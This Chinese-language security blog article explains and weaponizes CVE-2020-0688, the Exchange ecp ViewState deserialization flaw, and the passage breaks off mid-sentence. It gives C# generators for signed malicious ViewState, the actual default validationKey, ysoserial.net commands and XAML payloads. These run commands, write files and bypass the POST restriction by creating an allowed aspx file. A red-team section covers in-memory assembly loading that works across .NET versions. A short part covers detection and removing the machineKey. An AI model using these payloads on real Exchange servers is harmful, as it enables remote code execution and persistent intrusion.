【CVE-2020-0688】的武器化与.net反序列化漏洞那些事
CVE-2020-0688的武器化与.net反序列化漏洞那些事
0x00 前言
TL;DR
CVE-2020-0688是Exchange一个由于默认加密密钥造成的反序列化漏洞,该漏洞存在于Exchange Control Panel(ecp)中,不涉及Exchange的工作逻辑,其本质上是一个web漏洞
。
鉴于国内对.net安全的讨论少之又少,对此借助这篇文章分析一下漏洞详细原理以及利用中的一些细节部分,一方面证明其实际危害性;另一方面抛砖引玉,希望能集思广益,挖掘更好的利用方式。
全文测试环境为Exchange 2013+Server 2012R2
/Exchange 2016+Server 2016
。由于ecp的一些限制以及低版本.net反序列化利用的复杂性,暂时不讨论更低版本。
完整阅读本文至少需要一小时
的时间。
0x10 背景知识:反序列化、ViewState与MachineKey
0x11 反序列化
.net Framework(下称fx)原生支持多种序列化/反序列化方式,一些较为古老的系统和组件会使用binary
和soap
,而现在基本被xml
和json
所替代。
在binary
序列化中有五个非常重要的类型:Serializable
特性、ISerializable
接口、MarshalByRefObject
抽象类、IDeserializationCallback
和IObjectReference
接口。Serializable特性标记类可以进行基于值
的序列化,MarshalByRefObject标记类可以进行基于引用
的序列化,ISerializable接口决定序列化行为
,IDeserializationCallback在反序列化过程中还原对象状态
,IObjectReference实现工厂模式
反序列化。
在序列化过程中由SerializationInfo
保存序列化数据,可以粗略的将其理解为一个以字符串
为键,以.net基元类型
为值,以字符串形式的程序集名称和类型名
进行包装的多层嵌套字典,形象一点的近似类比是注册表。
单纯标记Serializable特性的类会以字段名
作为键,以字段值
作为值,以字段值的实际类型
作为类型名进行保存,等同于java中的Serializable接口的默认行为;实现ISerializable接口的类由GetObjectData
方法控制SerializationInfo中的数据和类型,类似于java中定义在类型本身的writeObject和readObject或实现Externalizable接口的类;继承自MarshalByRefObject的类会写入一个ObjRef
表示远程引用。
在反序列化过程中,首先会尝试调用具有(SerializationInfo,StreamingContext)
签名的构造函数进行初始化,之后检测是否实现IObjectReference
,如果实现则调用GetRealObject
获取真实对象,否则返回对象本身。和java检测serialVersionUID不同,类型版本由SerializationInfo中保存的AssemblyName决定,其规则遵循clr默认程序集发现和加载策略,可认为是透明的。
fx的程序集中存在两个极为重要的工厂类:[mscorlib]System.DelegateSerializationHolder
和[System.Workflow.ComponentModel]System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate+ObjectSerializedRef
。按照微软的本意,只有标记了SerializableAttribute、实现ISerializable、继承自MarshalByRefObject的类才能进行序列化/反序列化。序列化操作的实现是完全没有问题的,而在反序列化操作中并没有要求返回类型满足上述约束(当然,这是特性而不是漏洞)。借助DelegateSerializationHolder,我们可以反序列化任何委托
(无论方法、属性,也不分静态或实例);而借助ObjectSerializedRef可实现任意类
反序列化。
众所周知,委托实质上代表一个可以直接执行的.net方法。如果为序列化数据提供一个恶意委托(例如Process.Start(string)),那么在委托被调用时将实现代码执行。而实际上,在序列化时控制一个对象的某个方法的调用时机是比较麻烦的,所以借助IObjectReference::GetRealObject
等在反序列化时会进行调用的方法是更好的选择。
基于以上结论,可以得到下面的测试代码,此代码中的Test类在进行反序列化时将导致命令执行:
//build and run: c:\windows\microsoft.net\framework\v4.0.30319\csc test.cs && test
using System;
using System.Diagnostics;
using System.Security.Cryptography;
using System.IO;
using System.Web;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
[Serializable]
class Test : IObjectReference
{
Func<string, object> _dele;
string _parm;
public Test(Func<string, object> dele, string parm)
{
_dele = dele;
_parm = parm;
}
public Object GetRealObject(StreamingContext c)
{
return _dele(_parm);
}
}
class a
{
static void Main(string[] args)
{
Test t = new Test(new Func<string, object>(Process.Start), "notepad");
byte[] data = Serialize(t);
Console.WriteLine(Deserialize(data));
}
static object Deserialize(byte[] b)
{
using (MemoryStream mem = new MemoryStream(b))
{
mem.Position = 0;
BinaryFormatter bf = new BinaryFormatter();
return bf.Deserialize(mem);
}
}
static byte[] Serialize(object obj)
{
using (MemoryStream mem = new MemoryStream())
{
BinaryFormatter bf = new BinaryFormatter();
bf.Serialize(mem, obj);
return mem.ToArray();
}
}
}
所以我们只需要找到和上面代码相类似,且在fx或目标环境进行提供的类即可在真实环境中使用。限于篇幅,更细节的信息请参考ysoserial.net的TypeConfuseDelegateGenerator
,其调用堆栈大致为:
System.Diagnostics.Process.Start
System.Collections.Generic.ComparisonComparer<string>._comparison.Invoke
System.Collections.Generic.ComparisonComparer<string>::Compare
System.Collections.Generic.SortedSet<string>::OnDeserialization
(after System.Collections.Generic.SortedSet<string>::.ctor(SerializationInfo,StreamingContext))
0x12 ViewState
ViewState是asp.net的一个特性,由[System.Web]System.Web.UI.Page
类进行实现,其目的是为服务端控件状态进行持久化。从开发的角度看,所谓“控件状态”实际上就是服务端控件的属性或字段。fx在实现时采用了类似于ISerializable::GetObjectData
的行为,由控件本身决定如何进行保存。
具体的序列化流程由[System.Web]System.Web.UI.ObjectStateFormatter
进行处理。其返回结果以FF01
作为magic,后续数据是近似于Type-Value
的格式。由于控件本身可能需要保存较为复杂的类型,ObjectStateFormatter通过二进制序列化
方式对这种情况进行支持,其TypeCode为0x32
,Value为带有7bit-encoded
长度前缀的二进制序列化数据。
所以可以使用以下代码手动生成一个合法的ViewState:
static byte[] GetViewState()
{
Test t = new Test(new Func<string, object>(Process.Start), "notepad");
byte[] data = Serialize(t);
MemoryStream ms = new MemoryStream();
ms.WriteByte(0xff);
ms.WriteByte(0x01);
ms.WriteByte(0x32);
uint num = (uint)data.Length;
while (num >= 0x80)
{
ms.WriteByte((byte)(num | 0x80));
num = num >> 0x7;
}
ms.WriteByte((byte)num);
ms.Write(data, 0, data.Length);
return ms.ToArray();
}
在asp.net环境中,每一个aspx文件都会(在发布期间或初始化期间)被编译为一个继承Page类的对象。访问对应的页面时由[System.Web]System.Web.UI.PageHandlerFactory
进行查找并创建实例,之后调用ProcessRequest
方法处理当前的HttpContext。在随后的ProcessRequestMain
方法中,将判断是否处于PostBack
状态,如果是则获取Form
或QueryString
中的__VIEWSTATE
,并在LoadAllState
方法中进行反序列化。
上述过程的调用堆栈大致为:
System.Web.UI.ObjectStateFormatter.Deserialize
System.Web.UI.Page.LoadAllState
(if IsPostBack)
System.Web.UI.Page.ProcessRequestMain
System.Web.UI.Page.ProcessRequest
进入PostBack模式有两个条件:页面不是通过Server.Transfer
进行重定向的,__VIEWSTATE
等隐藏表单存在。默认直接访问页面即可满足上述条件。
0x13 ViewState验证、MacKeyModifier与MachineKey
由于ViewState完全由客户端传入,为了防止篡改,ObjectStateFormatter会使用MachineKey
对信息进行加密或签名。在默认情况下,MachineKey由fx随机生成,长度为0x400;反序列化的数据不会进行加密,但会进行HMACSha256
签名,计算出的签名将附加在数据最后。
高版本的fx添加了MacKeyModifier
作为Salt,由ClientId
和ViewStateUserKey
两部分拼接而成。在默认情况下,ViewStateUserKey为空
;ClientId的算法为当前页面虚拟目录
路径与当前页面类型名称
的HashCode之和,同时会以十六进制形式存放于名为__VIEWSTATEGENERATOR的
隐藏表单中返回。
而即使ClientId不返回实际上也几乎没有影响:在不存在反向代理的情况下,最坏的黑盒情况依然可通过url逐级爆破获得当前页面虚拟路径;当前页面的类型名称则是固定的将请求路径中的句点(.)以及斜杠(/)替换为下划线(_),例如/a/b/c.aspx
最终的类型名为a_b_c_aspx
。
无论加密还是解密时,ObjectStateFormatter都会根据对应的Page重新计算
MacKeyModifier,客户端请求所发送的__VIEWSTATEGENERATOR不参与
反序列化。
综上,在已知key的情况下,可以使用以下代码直接算出hash,以及最终的ViewState:
byte[] data=GetViewState();
byte[] key=new byte[]{0,1,2,3,4,5,6,7,8,9,0xa,0xb,0xc,0xd,0xe,0xf,0,1,2,3,4,5,6,7,8,9,0xa,0xb,0xc,0xd,0xe,0xf};
int hashcode = StringComparer.InvariantCultureIgnoreCase.GetHashCode("/");
uint _clientstateid=(uint)(hashcode+StringComparer.InvariantCultureIgnoreCase.GetHashCode("index_aspx"));
byte[] _mackey = new byte[4];
_mackey[0] = (byte)_clientstateid;
_mackey[1] = (byte)(_clientstateid >> 8);
_mackey[2] = (byte)(_clientstateid >> 16);
_mackey[3] = (byte)(_clientstateid >> 24);
MemoryStream ms = new MemoryStream();
ms.Write(data,0,data.Length);
ms.Write(_mackey,0,_mackey.Length);
byte[] hash=(new HMACSHA256(key)).ComputeHash(ms.ToArray());
ms=new MemoryStream();
ms.Write(data,0,data.Length);
ms.Write(hash,0,hash.Length);
Console.WriteLine("__VIEWSTATE={0}&__VIEWSTATEGENERATOR={1}",
HttpUtility.UrlEncode(Convert.ToBase64String(ms.ToArray())),
_clientstateid.ToString("X2"));
编译上述代码,执行,复制输出。
在IIS的默认站点进行下列操作:确保应用程序池为.net 4.0
,新建一个空白的default.aspx
,将刚刚编译的exe复制到bin
目录下,在web.config
中添加MachineKey(如下)。
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<machineKey validationKey="000102030405060708090a0b0c0d0e0f000102030405060708090a0b0c0d0e0f" />
</system.web>
</configuration>
将前面复制的输出作为QueryString
或FormData
,访问default.aspx,会看到w3wp.exe
创建了子进程notepad。
0x20 ecp的限制与初步利用
0x21 ecp的配置与限制
由于这是一个默认Key导致的漏洞,所以首先查看ecp的配置文件。配置文件存放在%ExchangeInstallPath%\ClientAccess\ecp\web.config
,可以看到其中默认的validationKey
:CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
。
ecp当然不会存在前面用于测试的Test类,对反序列化非常熟悉的话可以查找一些可以利用的类。当然也可以偷个懒,借助ysoserial.net生成一个命令执行的payload:
ysoserial.exe -g TypeConfuseDelegate -c notepad -f binaryformatter -o base64
修改上面的脚本生成ViewState,访问,无论GET还是POST均毫无疑问的返回404
,将POST修改为GET进行伪装则返回501
。
根据501页面的内容,很明显是请求被前置模块进行了过滤;GET返回404的原因是IIS默认限制QueryString最大长度为2048
;POST返回404则是在web.config中重写
了全部处理程序映射,禁止了绝大部分aspx文件的POST
请求方法:
而几个允许POST的白名单中,Download.aspx并非通过PageHandlerFactory进行处理,其余的要么文件不存在,要么低权限用户无权访问。
必须找到对这些限制进行绕过的方式才能成功利用此漏洞。
0x22 无效的ViewStateUserKey
在查找绕过方式之前,让我们回过头来,计算一下已知的ViewState进行验证,以确保ecp不存在其他奇奇怪怪的配置。
正常访问default.aspx,复制ViewState的值,进行base64解码,并去掉最后0x14
个字节。例如测试环境中的ViewState解码后的数据为ff010f0f050a2d3231303138363636396464
。
之后修改前面的代码:
byte[] data=new byte[]{0xff,0x01,0x0f,0x0f,0x05,0x0a,0x2d,0x32,0x31,0x30,0x31,0x38,0x36,0x36,0x36,0x39,0x64,0x64};
byte[] key=new byte[]{0xCB,0x27,0x21,0xAB,0xDA,0xF8,0xE9,0xDC,0x51,0x6D,0x62,0x1D,0x8B,0x8B,0xF1,0x3A,0x2C,0x9E,0x86,0x89,0xA2, 0x53,0x03,0xBF};
int hashcode = StringComparer.InvariantCultureIgnoreCase.GetHashCode("/ecp");
uint _clientstateid=(uint)(hashcode+StringComparer.InvariantCultureIgnoreCase.GetHashCode("default_aspx"));
//....
byte[] hash=(new HMACSHA1(key)).ComputeHash(ms.ToArray());
执行,返回以下结果:
可以看到ClientId
是正确的,而Hash
不同,显然页面存在ViewStateUserKey
。
修改页面输出ViewStateUserKey
,可看到和cookie中ASP.NET_SessionId
相同。
而我们知道Exchange使用cookie登录而不是Session,在web.config中也移除
了Session模块:
所以可推测ViewStateUserKey完全由客户端控制,将cookie中ASP.NET_SessionId置空
,此时远程返回了相同的ViewState:
证明推论正确,这将在后续操作中节约几个步骤。
0x23 更换payload进行初步利用
现在再反过来思考绕过的问题,首先处理程序映射属于asp.net的核心部分,不可能绕过;501检测位置不明,但删除POST包中的Content-Type后依然返回501,证明检测逻辑很可能为if(Method=="GET" && ContentLength>0){501;}
;最后只剩下减小payload长度一种方式。
ysoserial.net提供了很多的payload,我们可以尝试一下其他generator,例如TextFormattingRunProperties
:
ysoserial.exe -g TextFormattingRunProperties -c notepad -f binaryformatter >out.dat
将GetViewState
方法中的数据进行替换,执行并生成ViewState,使用burp将cookie中ASP.NET_SessionId置空,访问,远程返回500,同时执行了命令cmd /c notepad
。
0x24 xaml与代码执行
借助TextFormattingRunPropertiesGenerator,我们能够成功的通过ecp达到Exchange Server的远程代码执行,但其中的原理是什么?能否进行更深入层次的运用?
查看ysoserial.net源码可发现,TextFormattingRunPropertiesGenerator会返回一个[Microsoft.PowerShell.Editor]Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties
对象的序列化数据,同时添加了一个键名为ForegroundBrush
,值为xaml字符串
的序列化信息。
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
查看Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties..ctor(SerializationInfo,StreamingContext)
的代码,可以看到在反序列化过程中会取出这个xaml,之后调用[PresentationFramework]System.Windows.Markup.XamlReader.Parse
进行解析:
private object GetObjectFromSerializationInfo(string name, SerializationInfo info)
{
string @string = info.GetString(name);
if (@string == "null")
{
return null;
}
return XamlReader.Parse(@string);
}
其调用堆栈大致如下:
[PresentationFramework]System.Windows.Markup.XamlReader.Parse
Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties.GetObjectFromSerializationInfo
Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties..ctor
xaml是wpf的界面组件代码,可以通过xml的形式构建窗体对象或存放运行时所需的资源。在执行XamlReader.Parse
时会实例化其中声明的对象,并绑定属性。
在解析器的实现中,ResourceDictionary
负责对静态资源进行存储,ObjectDataProvider
作为工厂类负责通过方法调用等方式生成对象。如果为ObjectDataProvider提供恶意方法,同样可以达到代码执行的目的。
对照ysoserial.net生成的xaml:第一行表示该xaml为一个ResourceDictionary对象;第二行将System
、System.Diagnostics
两个命名空间和xmlns进行映射;第三行声明了一个ObjectDataProvider,并将其ObjectType
属性赋值为typeof(System.Diagnostics.Process)
,MethodName
属性赋值为Start
;第四行至第七行声明了调用该方法是要传递的参数,分别为cmd
和"/c notepad"
。
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="" ObjectType="{x:Type Diag:Process}" MethodName="Start" >
<ObjectDataProvider.MethodParameters>
<System:String>cmd</System:String>
<System:String>"/c notepad"</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
XamlReader在解析上述xaml时,首先根据根元素创建ResourceDictionary
对象,该对象实现了IDirectory接口,所以其后的ObjectDataProvider将作为成员进行存储。接下来初始化ObjectDataProvider
对象,并设置ObjectType
、MethodName
、MethodParameters
三个属性。
ObjectDataProvider在MethodParameters
改变时会调用OnParametersChanged
方法,最终将通过反射调用Process.Start
,并传递参数。其流程和以下伪代码相对应:
typeof(Process).GetMethod("Start").Invoke(null,new object[]{"cmd","\"/c notepad\""})
可将xaml进行保存,然后执行下面的PowerShell脚本进行验证:
Add-Type -AssemblyName PresentationFramework
[System.Windows.Markup.XamlReader]::Parse([io.file]::readalltext('xaml.txt'))
最后,我们可以将ysoserial.net中相关代码提取出来,稍作修改和之前的代码合并作为生成器:
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context){}
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(TextFormattingRunProperties));
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string xaml)
{
_xaml = xaml;
}
}
static byte[] GetViewState(byte[] data){....}
//in main
byte[] data=GetViewState(Serialize(new TextFormattingRunPropertiesMarshal(xa)));
成功执行命令仅仅是一个开始。无论红队还是蓝队,在目标无法出网的情况下,单纯的执行命令既不能判断漏洞存在与否,也很难达成稳定隐蔽的控制。
请记住xaml
这个关键点,在后续的漏洞利用过程中是最为重要的一环。
0x30 蓝队:检测与缓解措施
0x31 构造检测xaml
在远程无回显地执行命令很难确切地知道漏洞利用成功与否,由于不确定目标环境是否能够出网,即使有dnslog这种方式也很难做到完整检测。
所以我们需要一种简单的方式进行验证。
xaml不光支持调用静态方法
,同样支持获取静态属性
、获取实例属性
或调用实例方法
。于是可以通过[System.Web]System.Web.HttpContext::Current
获取当前Http上下文,并对Response
进行操作。
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:s="clr-namespace:System;assembly=mscorlib"
xmlns:w="clr-namespace:System.Web;assembly=System.Web">
<ObjectDataProvider x:Key="a" ObjectInstance="{x:Static w:HttpContext.Current}" MethodName=""></ObjectDataProvider>
<ObjectDataProvider x:Key="b" ObjectInstance="{StaticResource a}" MethodName="get_Response"></ObjectDataProvider>
<ObjectDataProvider x:Key="c" ObjectInstance="{StaticResource b}" MethodName="get_Headers"></ObjectDataProvider>
<ObjectDataProvider x:Key="d" ObjectInstance="{StaticResource c}" MethodName="Add">
<ObjectDataProvider.MethodParameters>
<s:String>X-ZCG-TEST</s:String>
<s:String>CVE-2020-0688</s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProvider x:Key="e" ObjectInstance="{StaticResource b}" MethodName="End"></ObjectDataProvider>
</ResourceDictionary>
上述xaml在加载时的流程等同于:
var a=HttpContext.Current;
var b=a.Response;
var c=b.Headers;
c.Add("X-ZCG-TEST","CVE-2020-0688");
b.End();
修改生成payload,访问,可看到增加了一个返回头X-ZCG-TEST
,其值为CVE-2020-0688
。和执行命令的poc不同,由于调用了Response.End
,不会导致后续异常,返回状态码为正常的200
。
当然,调用诸如Response.AppendCookie
、Response.AddHeader
等方法都是可以的,只要最终生成的QueryString不超过2048
就不会有任何问题。
0x32 修复措施
由于ecp本身不使用任何ViewState相关的方法(事实上在多个页面中禁用了ViewState),最简单的修复方式就是删除web.config中machineKey
一节:
<machineKey validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" decryptionKey="E9D2490BD0075B51D1BA5288514514AF" validation="SHA1" decryption="3DES" />
之后ecp会自动重启,随后将采用随机生成的0x400长度的key进行加密。
0x40 红队:武器化
0x41 绕过POST限制
红队操作更考虑隐蔽以及稳定控制,限制长度的Payload具有非常大的局限性,很难实现完美控制。
POST不受长度限制但默认被禁用,所有不需要权限的白名单文件均不存在。如果创建一个原本不存在的白名单文件,能否进行绕过?
那么进行测试,从web.config中随便挑一个允许POST且不存在的aspx文件,例如LiveIdError.aspx
。在测试环境的ecp目录创建这个空文件。
之后修改之前的代码:
uint _clientstateid=(uint)(hashcode+StringComparer.InvariantCultureIgnoreCase.GetHashCode("liveiderror_aspx"));
编译执行访问,可看到返回了测试标识,证明思路有效。
0x42 构造写入文件的xaml
那么现在的问题就变成了:如何通过简短的反序列化,在ecp目录创建一个指定名称的空白文件?熟悉.net的人可能会瞬间给出答案,System.IO.File::AppendAllText(string,string)
可以向指定路径的文件追加指定内容,当文件不存在时会创建。
使用此方法还有一个小问题,AppendAllText第一个参数如果是相对路径的话,将在CurrentDirectory
创建文件,而绝大多数情况下w3wp的CurrentDirectory为%systemroot%\system32\inetsrv
。
简单粗暴的解决这个问题有两种方案:由于Exchange会将安装目录保存在环境变量ExchangeInstallPath
中,所以直接调用cmd进行echo即可;或者直接使用默认安装路径C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\ecp
。
第一种可能会触发某些监控,第二种则存在小概率修改目录的可能。
这两种方案的xaml分别如下:
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="" ObjectType="{x:Type Diag:Process}" MethodName="Start" >
<ObjectDataProvider.MethodParameters>
<System:String>cmd</System:String>
<System:String>"/c cd %ExchangeInstallPath% && echo . > ClientAccess\ecp\LiveIdError.aspx"</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:s="clr-namespace:System;assembly=mscorlib"
xmlns:io="clr-namespace:System.IO;assembly=mscorlib">
<ObjectDataProvider x:Key="x" ObjectType="{x:Type io:File}" MethodName="WriteAllText">
<ObjectDataProvider.MethodParameters>
<s:String>C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\ecp\LiveIdError.aspx</s:String>
<s:String></s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
编译执行访问,均可在ecp目录创建LiveIdError.aspx文件。
0x43 优化文件写入
显然,粗暴的方式有着各种各样的缺点,对于完美主义者,还需要找到其他方式进行规避。
我们现在已知绝对路径存放于%ExchangeInstallPath%
,那么只要将其取出作为ObjectDataProvider.MethodParameters
的第一个参数即可。但通过ObjectDataProvider调用方法的后,存放于ResourceDictionary中的实际上还是一个ObjectDataProvider实例,直接将其作为参数传入会抛出异常,所以需要一个能够调用方法且返回类型本身的方式。
在查询xaml官方文档后可以找到x:FactoryMethod
指令,该指令用于对象初始化。其实现为通过调用静态方法并强制转换为xaml元素指定的对象类型,完全符合需求。
那么解决方案也就很简单了:在s:String
元素上以FactoryMethod
方式调用[mscorlib]System.Environment::GetEnvironmentVariable
获取安装路径,之后以同样方式调用[mscorlib]System.String.Concat
拼接文件名,最后调用AppendAllText
写入文件。
完整的xaml如下:
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:s="clr-namespace:System;assembly=mscorlib"
xmlns:w="clr-namespace:System.Web;assembly=System.Web">
<s:String x:Key="a" x:FactoryMethod="s:Environment.GetEnvironmentVariable" x:Arguments="ExchangeInstallPath"/>
<s:String x:Key="b" x:FactoryMethod="Concat">
<x:Arguments>
<StaticResource ResourceKey="a"/>
<s:String>\ClientAccess\ecp\LiveIdError.aspx</s:String>
</x:Arguments>
</s:String>
<ObjectDataProvider x:Key="x" ObjectType="{x:Type s:IO.File}" MethodName="AppendAllText">
<ObjectDataProvider.MethodParameters>
<StaticResource ResourceKey="b"/>
<s:String></s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProvider x:Key="c" ObjectInstance="{x:Static w:HttpContext.Current}" MethodName=""/>
<ObjectDataProvider x:Key="d" ObjectInstance="{StaticResource c}" MethodName="get_Response"/>
<ObjectDataProvider x:Key="e" ObjectInstance="{StaticResource d}" MethodName="End"/>
</ResourceDictionary>
此xaml等同于以下C#代码:
string a=Environment.GetEnvironmentVariable("ExchangeInstallPath");
string b=string.Concat(a,"\ClientAccess\ecp\LiveIdError.aspx");
File.AppendAllText(b,"");
HttpContext.Current.Response.End();
编译执行访问,可在未知绝对路径的情况下无感知地创建我们需要的空白文件。
0x44 高级操作与ysoserial.net缺陷
通过第一阶段创建的白名单文件,可以将不足2048字节
的payload拓展到IIS默认的4M
上限,这样我们就能通过更大的payload进行高级操作。
所谓高级操作,就是以不落地
的方式在当前进程内存
中执行任何操作
,包括但不限于执行命令并回显、读写文件、加载ShellCode、后渗透等等。在.net无限制反序列化的环境前提下,可以通过ObjectSerializedRef
反序列化LinqIterator
对象在内存中加载.net程序集并实例化,最终实现任意代码执行。这个方式在yssoserial.net中以ActivitySurrogateSelectorGenerator
和ActivitySurrogateSelectorFromFileGenerator
进行实现。
ActivitySurrogateSelectorFromFileGenerator
提供一个将C#源码编译为程序集并在远程加载的功能,首先创建以下测试代码:
class E
{
public E()
{
try
{
System.Diagnostics.Process.Start("notepad");
System.Web.HttpContext.Current.Response.Write("exploit!");
System.Web.HttpContext.Current.Response.End();
}
catch{}
}
}
之后执行以下命令生成payload。这里注意,为了保证测试效果防止提前踩坑,请暂时在目标
Exchange服务器上执行:
ysoserial -g ActivitySurrogateSelectorFromFile -f BinaryFormatter -c exploitclass.cs;System.Web.dll;System.dll >o.dat
修改之前的反序列化测试程序,编译执行访问,不出意外的话可以得到以下结果:
成功创建子进程notepad,回显输出exploit!,表明上述代码已经在远程执行。接下来对代码进行自定义修改即可进行任何操作,例如命令回显、ShellCode等等。
看似一切完美?其实并不。现在可以打开C:\Windows\Microsoft.NET\Framework64\v4.0.30319
目录,查看System.Core.dll
的文件版本。例如当前测试环境为4.7.3362.0
,表示fx版本为4.7.x
。
下面来模拟真实环境远程生成payload。真实环境下不可能知道对方的fx版本(返回头中的版本号永远都是4.0.30319),所以常规做法是通过ysoserial.net直接生成一个payload并发送。
例如通过同样的方式,在文件版本4.6.1098.0
(对应fx版本4.6.x
)的环境下能够成功生成payload,但继续编译执行访问,不会得到任何结果。
如果将这个payload复制到Exchange服务器并使用以下Powershell脚本进行测试,会得到一个TypeLoadException
:
$fmt=new-object System.Runtime.Serialization.Formatters.Binary.BinaryFormatter;
$mft.Deserialize((new-object System.IO.FileStream("o.dat",'Open','Read')));
根据错误信息对应到[System.Core]System.Linq.Enumerable
类,可以看到在fx 4.7.x的程序集中这个类的名称由Enumerable+<SelectManyIterator>d__16
变成了Enumerable+<SelectManyIterator>d__17
。
反序列化时找不到类型自然无法创建实例,最终导致利用失败。
0x45 构造完美的反序列化数据
解决这个问题需要结合ActivitySurrogateSelectorGenerator以及LinqIterator的源码进行分析。
首先要理解ActivitySurrogateSelectorGenerator的工作原理,其逻辑非常简单:通过linq
调用,顺序执行Assembly::Load(byte[])
、Assembly.GetTypes()
、Activator::CreateInstance(Type)
,从而实例化
由字节数组存储的程序集中定义的类,达到代码执行的效果。整体流程大致等价为以下C#代码:
foreach(byte[] data in byte[][])
{
foreach(Type t in Assembly.Load(data).GetTypes())
{
Activator.CreateInstance(t);
}
}
而序列化保存的数据大部分都是在Linq调用过程中用于返回数据的迭代器
或枚举器
。
之后,在ilspy中查找Enumerable+<SelectManyIterator>d__17
的引用,可发现在System.Linq.Enumerable.SelectManyIterator
方法进行调用,反编译可以看到以下代码:
可以看到是一个迭代器语法糖
,很明显是由编译器自动生成
的状态机类。实际上,类型名中的16
/17
为编译期间由编译器内部维护的一个序号,随着自动生成的类增加而增长,所以在不同版本的fx中不一定相同。
为了避免这样的问题,继续查找是哪个调用导致将此对象写入了序列化数据中。迭代器的上级调用有且只有System.Linq.Enumerable.SelectMany
,而这正是在ActivitySurrogateSelectorGenerator中调用的拓展方法:
var e2 = e1.SelectMany(map_type);
现在最后的问题就转换成了如何将SelectMany
替换为其他等价表达式。根据代码以及生成的数据可以知道,Where
表达式/拓展方法返回的WhereSelectEnumerableIterator
不会调用自动生成的类,是一个较好的序列化目标。
WhereSelectEnumerableIterator
中包含两个委托selector
和predicate
。其中selector的签名为Func<T,R>
,可以调用诸如Assembly.Load
等静态方法将一个对象转换为另外的对象,或是在一个对象实例上调用无参方法
;predicate的签名为Func<T,bool>
,会作为条件判断在selector之前
进行调用。
缺失的调用链中GetTypes
返回一个Type数组,由[mscorlib]System.Array
基类实现IEnumerable
接口,于是可以调用GetEnumerator
方法,获取一个IEnumerator
对象。
通过获取IEnumerator
对象的Current
属性,可以得到Type实例,在获取之前需要调用MoveNext
方法,该方法的签名恰好和predicate匹配。
所以最后不难得出以下调用链:
Activator.CreateInstance(Assembly.Load(byte[]).GetTypes().GetEnumerator().{MoveNext(),get_Current()})
对应的代码为:
static IEnumerable<TResult> GetEnum<TSource,TResult>
(
IEnumerable<TSource> src,
Func<TSource, bool> predicate,
Func<TSource, TResult> selector
)
{
Type t=Assembly.Load("System.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089")
.GetType("System.Linq.Enumerable+WhereSelectEnumerableIterator`2")
.MakeGenericType(typeof(TSource),typeof(TResult));
return t.GetConstructors()[0].Invoke(new object[]{src,predicate,selector}) as IEnumerable<TResult>;
}
IEnumerable<Assembly> e2=GetEnum<byte[],Assembly>(new byte[][]{File.ReadAllBytes("RemoteStub.dll")},null,Assembly.Load);
IEnumerable<IEnumerable<Type>> e3=GetEnum<Assembly,IEnumerable<Type>>(e2,
null,
(Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate
(
typeof(Func<Assembly, IEnumerable<Type>>),
typeof(Assembly).GetMethod("GetTypes")
)
);
IEnumerable<IEnumerator<Type>> e4 = GetEnum<IEnumerable<Type>,IEnumerator<Type>>(e3,
null,
(Func<IEnumerable<Type>,IEnumerator<Type>>)Delegate.CreateDelegate
(
typeof(Func<IEnumerable<Type>,IEnumerator<Type>>),
typeof(IEnumerable<Type>).GetMethod("GetEnumerator")
)
);
IEnumerable<Type> e5 = GetEnum<IEnumerator<Type>,Type>(e4,
(Func<IEnumerator<Type>,bool>)Delegate.CreateDelegate
(
typeof(Func<IEnumerator<Type>,bool>),
typeof(IEnumerator).GetMethod("MoveNext")
),
(Func<IEnumerator<Type>,Type>)Delegate.CreateDelegate
(
typeof(Func<IEnumerator<Type>,Type>),
typeof(IEnumerator<Type>).GetProperty("Current").GetGetMethod()
)
);
PagedDataSource pds = new PagedDataSource() { DataSource = e5 };
//....
ls.Add(e1);
ls.Add(e2);
# ls.Add(e3);
ls.Add(e4);
ls.Add(e5);
ls.Add(pds);
//....
注意,通过链式Select
会调用WhereSelectEnumerableIterator.Select
方法,此方法的调用过程中使用了lambda表达式
